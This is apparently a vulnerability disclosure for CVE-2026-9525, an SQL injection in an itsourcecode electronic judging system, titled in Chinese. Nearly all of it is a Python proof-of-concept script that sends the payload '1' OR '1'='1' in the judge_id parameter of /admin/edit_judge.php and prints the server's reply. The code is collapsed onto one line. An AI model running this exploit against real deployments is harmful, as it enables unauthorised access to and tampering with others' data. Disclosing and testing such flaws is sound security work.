CVE-2026-9525: itsourcecode电子评判系统SQL注入漏洞

import requests # Target URL configuration # Vulnerable endpoint: /admin/edit_judge.php # Vulnerable parameter: judge_id target_url = "http://target-host/admin/edit_judge.php" # Malicious payload to test SQL injection # Example: Using logical OR to always return true payload = { "judge_id": "1' OR '1'='1" } try: # Send GET request with the payload response = requests.get(target_url, params=payload) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")